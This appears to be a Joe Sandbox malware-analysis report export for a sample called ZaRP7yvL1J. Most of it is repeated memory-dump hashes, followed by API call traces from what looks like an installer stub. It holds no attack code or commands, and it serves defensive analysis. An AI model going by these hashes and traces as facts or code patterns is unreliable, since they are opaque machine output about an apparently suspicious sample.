Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d8d8dfc08cfc46b23675ac8ab0e5f627ac9867bccd5691c68afb1e20c0fbb99
Instruction ID: fd029e8c498db2cb1ee2d3a3a81aa3c1518a6c6962aa78c82ff6a75c7be78ab5
Opcode Fuzzy Hash: 8d8d8dfc08cfc46b23675ac8ab0e5f627ac9867bccd5691c68afb1e20c0fbb99
Instruction Fuzzy Hash: 44C19F78E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409BB365DB359A85CF50

Function 387A3268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1e73606544543cb26890bf0074c7f90587ab245183597923ddc07d199c75fdf
Instruction ID: ebce81490f43f5864526bf98635faeb6223fb49c0f4f5b9b17384a30ee39253d
Opcode Fuzzy Hash: e1e73606544543cb26890bf0074c7f90587ab245183597923ddc07d199c75fdf
Instruction Fuzzy Hash: B8C18078E00218CFDB54DFA5C994B9DBBB2BF89304F2081A9D809BB355DB359A85CF50

Function 387A5208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f06e18c8ed78eaef4519ebed7def181467be42d4c61f2ed2f2ab1b3d8d215a09
Instruction ID: 8e0cf397efe2890d86fbb70a6035b8045122763eb4cd0a2d08b9aecaa0467c4c
Opcode Fuzzy Hash: f06e18c8ed78eaef4519ebed7def181467be42d4c61f2ed2f2ab1b3d8d215a09
Instruction Fuzzy Hash: 25C19E78E01218CFDB14DFA5C994B9DBBB2BF89304F2081A9D409BB365DB359A85CF50

Function 387A5AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0544afdb0bd1040aa4f2b57f4e0bbf40735b250697a49cd5b5359a4beeaf7e28
Instruction ID: 6124730c20541225004b5174249c2a79509be173bb60c9832f2d55a535a6f1b5
Opcode Fuzzy Hash: 0544afdb0bd1040aa4f2b57f4e0bbf40735b250697a49cd5b5359a4beeaf7e28
Instruction Fuzzy Hash: 8AC19E78E01218CFDB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF50

Function 387A6368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a74b34876589c502dfabae110aad8783134b73bdcef72996ba276fd8efce43ab
Instruction ID: 125fc019a646ffbbda1a0de5fe40e7e5eb45125070edeaebca8de5f8b9e29145
Opcode Fuzzy Hash: a74b34876589c502dfabae110aad8783134b73bdcef72996ba276fd8efce43ab
Instruction Fuzzy Hash: 6EC18E78E00218CFDB54DFA5C994B9DBBB2AF89300F2081A9D409BB365DB359A85CF50

Function 387A3B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 641ee65a11feb28fb69ddd6b403562db460407e9e815d3a8aa3eacd88111e879
Instruction ID: a846f3bd7e810992c1b65a464fb94deb01c4af56dcf2bfaad809645b75649f47
Opcode Fuzzy Hash: 641ee65a11feb28fb69ddd6b403562db460407e9e815d3a8aa3eacd88111e879
Instruction Fuzzy Hash: A1C19F74E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D809BB365DB359A85CF50

Function 387A43C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f171cb4f088d63e7692211177ab66fc5dd7bb41c5560610e0dbd26c0cd8cc207
Instruction ID: c580b195f92e0e9a9f609536cecaad84ec553f322671146a7020675265c0aa12
Opcode Fuzzy Hash: f171cb4f088d63e7692211177ab66fc5dd7bb41c5560610e0dbd26c0cd8cc207
Instruction Fuzzy Hash: 50C19E78E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409BB365DB359A85CF50

Function 387A6C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea1bc01794cbdc39fae93d9923c0048c221b26586d5577cf8b822fad6d4754ee
Instruction ID: cbf1179330716b858ed1589a1188feb468422e83e0b68d43c121b63efba94c8e
Opcode Fuzzy Hash: ea1bc01794cbdc39fae93d9923c0048c221b26586d5577cf8b822fad6d4754ee
Instruction Fuzzy Hash: 89C19E78E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409BB365DB359A85CF50

Function 387A1400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99d42db69a99007eb11478305e3cc079568c3f50fbe511b74c1e723050798c0d
Instruction ID: 22ed8bf246f0b24fcc3094aaf66ba15983c50a3551d6a667fcf655a9105d24d7
Opcode Fuzzy Hash: 99d42db69a99007eb11478305e3cc079568c3f50fbe511b74c1e723050798c0d
Instruction Fuzzy Hash: 5FC19078E01218CFEB14DFA5C994B9DBBB2BF89304F2081A9D409BB355DB359A85CF50

Function 387A74C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d262574458bef4a7ffbc8c2cfa1fd3b65079704dcf713d5f5bce0f6180b03c86
Instruction ID: b670061f0798e4c938d68b2dd755e8bf4948ba2a67e6572270a35ec18be8e755
Opcode Fuzzy Hash: d262574458bef4a7ffbc8c2cfa1fd3b65079704dcf713d5f5bce0f6180b03c86
Instruction Fuzzy Hash: A4C19E78E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409BB365DB359A85CF50

Function 387A1CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1094b74edf2a544ee89538009dffa679c79b5c602bd985327671921ad61a577f
Instruction ID: d79b68b76dace82ad4e50d943cce9120f9351ee7f869a7a5388061e58806d9c4
Opcode Fuzzy Hash: 1094b74edf2a544ee89538009dffa679c79b5c602bd985327671921ad61a577f
Instruction Fuzzy Hash: A9C1A174E00218CFDB14DFA5C994B9DBBB2BF89300F6081A9D409BB355DB359A85CF50

Function 387A2560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eb298e7c6f659ec72a18fadb2184786b403d5dd91f6d0b022d829ff918f69aa
Instruction ID: f0f82328d1726273aed1d6e7768ef15770f42c6ad5859fb86c569a3aa78dcb64
Opcode Fuzzy Hash: 1eb298e7c6f659ec72a18fadb2184786b403d5dd91f6d0b022d829ff918f69aa
Instruction Fuzzy Hash: 38C19F78E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409BB365DB359A85CF50

Function 387A4DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca85260e0347c6f1968c4cd01b96c370f28d86def003f00a57160453684ed4b8
Instruction ID: e39c261a687fc02b7af5beeb7d73580dfbda819d7aedb98643b04a5a99ecfbbb
Opcode Fuzzy Hash: ca85260e0347c6f1968c4cd01b96c370f28d86def003f00a57160453684ed4b8
Instruction Fuzzy Hash: 87C19074E01218CFDB14DFA5C994BADBBB2BF89300F2081A9D409BB365DB359A85CF50

Function 387A5660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56a703fbe4e1b58919a93695ace7ae4a03f50236397d64a6561dd5e8482a402f
Instruction ID: 917fb69d46d5797ae7707a2be17f77b12c14ae7ae82b6b24e46866dbbc61541d
Opcode Fuzzy Hash: 56a703fbe4e1b58919a93695ace7ae4a03f50236397d64a6561dd5e8482a402f
Instruction Fuzzy Hash: 68C19E78E00218CFDB14DFA5C994B9DBBB2AF89300F6081A9D409BB365DB359A85CF50

Function 387A2E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffb3a0e72628f3166d50ba9ff3b6b2fa3a120f347fb393e169e983ef73f36862
Instruction ID: 4ec953846a791619daa75ce94c34604717ce791b2050c3f2c03b0e49f170ddfc
Opcode Fuzzy Hash: ffb3a0e72628f3166d50ba9ff3b6b2fa3a120f347fb393e169e983ef73f36862
Instruction Fuzzy Hash: CFC18074E00218CFDB54DFA5C994B9DBBB2AF89300F6081A9D809BB365DB359E85CF50

Function 387A36C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79493a6f87049a3c174a89976b6c12a20c316c57ebd52d386c391ae42d4f8fdc
Instruction ID: c6be93a89c89087b2aedd87dfa7bfeb87eb5b90a45d23c45b62a382d89617f81
Opcode Fuzzy Hash: 79493a6f87049a3c174a89976b6c12a20c316c57ebd52d386c391ae42d4f8fdc
Instruction Fuzzy Hash: 4BC19F74E01218CFDB14DFA5C994B9DBBB2AF89304F2081A9D809BB365DB359E85CF50

Function 387A3F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecddf17f7d3bfad076cdcddf172fd4057642ffff5309eb82ee7d9c7c273e1146
Instruction ID: 61129c8397619c344e410fec65ee48695dc246b5a68e8a2765eddbf4a0b9462f
Opcode Fuzzy Hash: ecddf17f7d3bfad076cdcddf172fd4057642ffff5309eb82ee7d9c7c273e1146
Instruction Fuzzy Hash: E8C19E78E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409BB365DB359A85CF50

Function 387A5F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6623ec35cb1c8ac43d6143fb193d1b1463babe746c75596eb244d85bcf850f7
Instruction ID: a09c11ce6a9744accb9b91638ee61b4067d8bbf4d977c3b36ed4f3bab4089db5
Opcode Fuzzy Hash: d6623ec35cb1c8ac43d6143fb193d1b1463babe746c75596eb244d85bcf850f7
Instruction Fuzzy Hash: CCC18078E00218CFDB54DFA5C994B9DBBB2BF89300F6081A9D409BB365DB359A85CF50

Function 387A67C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29bda3721e907e3b4d920a06e1b5fbd076372942b23332d95ce4cf9ee050917c
Instruction ID: 35eb448b835c9c5147771c6283a7cadd725ee5f5345f641c96103d770552aedc
Opcode Fuzzy Hash: 29bda3721e907e3b4d920a06e1b5fbd076372942b23332d95ce4cf9ee050917c
Instruction Fuzzy Hash: E5C19E78E01218CFDB14DFA5C994B9DBBB2BF89304F2081A9D409BB365DB359A85CF50

Function 387A0FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951508317.00000000387A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 387A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_387a0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cc47d4ccff03ba0a5bfe7339c773fd631485add56568ee04a017a0ec4a638f5
Instruction ID: 13ff084d1170a916f1619395279f53ae62b5166a52a9e4a369f0b572fcb64fbe
Opcode Fuzzy Hash: 6cc47d4ccff03ba0a5bfe7339c773fd631485add56568ee04a017a0ec4a638f5
Instruction Fuzzy Hash: 81C19078E00218CFEB54DFA5C994B9DBBB2BF89304F2081A9D409BB355DB359A85CF50

Function 3805E33D Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ff223c6043c610f2fb184b28db6537cfa70b2a128b1bc319211a264f690b6b
Instruction ID: 3fbbe27ce2beaac9d32afa73d9f1478f27265357a911bd25b5b79213bf2ad272
Opcode Fuzzy Hash: 38ff223c6043c610f2fb184b28db6537cfa70b2a128b1bc319211a264f690b6b
Instruction Fuzzy Hash: B7C19E78E00218CFDB54DFA5C994B9DBBB2BF89300F2080A9D409BB365DB359A85CF14

Function 3805DEE5 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef40cd2736df9dc486abeeb14837d912a444eeb365488e9010f6979cc1a2189f
Instruction ID: 9c85df63c2970c801ae6eb48f4ad9b0cb4fcb3d57d3bd0abd8cbfc45452229f7
Opcode Fuzzy Hash: ef40cd2736df9dc486abeeb14837d912a444eeb365488e9010f6979cc1a2189f
Instruction Fuzzy Hash: CEC19F78E00218CFDB54DFA5C994B9DBBB2BF89300F6081A9D409BB365DB359A85CF14

Function 3805B08A Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5be03a25a59eaec7b695c309c91ff0f1294ca25cd57fc9da54a04f340c8e72e
Instruction ID: f8761e3ada96498bbf748dc8da9ef3249083018e6e7e780006f5f7407c0fb5c1
Opcode Fuzzy Hash: d5be03a25a59eaec7b695c309c91ff0f1294ca25cd57fc9da54a04f340c8e72e
Instruction Fuzzy Hash: 43C1AF78E01218CFDB54DFA5C994B9DBBB2BF89300F2080A9D409BB365DB359A85CF10

Function 3805C1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9c0708e2395dea2cd3bb46b89c3a546b9ea2f1b1099667282e53621e00dbc18
Instruction ID: d669bedbed8df39443ef6992f3211cb6a40c43d262897d0a51349dd94db88290
Opcode Fuzzy Hash: c9c0708e2395dea2cd3bb46b89c3a546b9ea2f1b1099667282e53621e00dbc18
Instruction Fuzzy Hash: C9C19F74E00218CFDB14DFA5C994BADBBB2BF89300F6080A9D409BB365DB359A85CF50

Function 3805EBF2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5fac18a579f9f3cf0460481d9690b35a2285cf883430bf5e947e1948f25a6f5
Instruction ID: cbfb466a1ef67e4bb1b49855c98bf8f85c99eb24ad6a229276a1521d92c76d2d
Opcode Fuzzy Hash: e5fac18a579f9f3cf0460481d9690b35a2285cf883430bf5e947e1948f25a6f5
Instruction Fuzzy Hash: C9C19F78E00218CFDB54DFA5C994B9DBBB2BF89304F2080A9D409BB365DB359A85CF54

Function 3805B4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951366044.0000000038050000.00000040.00000800.00020000.00000000.sdmp, Offset: 38050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38050000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5ab397e5e501b393e8bfff38176ca22f2a7f880ea9bdadb3386dae1e738ba7e
Instruction ID: 9cbe2d314632996b7efbb386821bcbb64cbcb9ebb8d90a7710080d97b5ad1354
Opcode Fuzzy Hash: a5ab397e5e501b393e8bfff38176ca22f2a7f880ea9bdadb3386dae1e738ba7e
Instruction Fuzzy Hash: 30C19074E01218CFDB54DFA5C994BADBBB2BF89300F2080A9D409BB365DB359A85CF50

Function 390EF5D8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2951850825.00000000390E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 390E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_390e0000_ZaRP7yvL1J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fccf357d67bee1fa2b99f6fc24c3bce4a3c85ce945ad7e128e09465ff6aecd8
Instruction ID: 10f45840f634591b23783e875fadbbd528c29e814aca00c1c50ef42e0dedfdd9
Opcode Fuzzy Hash: 9fccf357d67bee1fa2b99f6fc24c3bce4a3c85ce945ad7e128e09465ff6aecd8
Instruction Fuzzy Hash: 2ED09E79E4422C8ACB11DF98D9402ECF771EBA9351F0024E6C14CB7110D7709A90CF55

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

{, xrefs: 004057F5
(7B, xrefs: 0040587D

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,74DF3420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
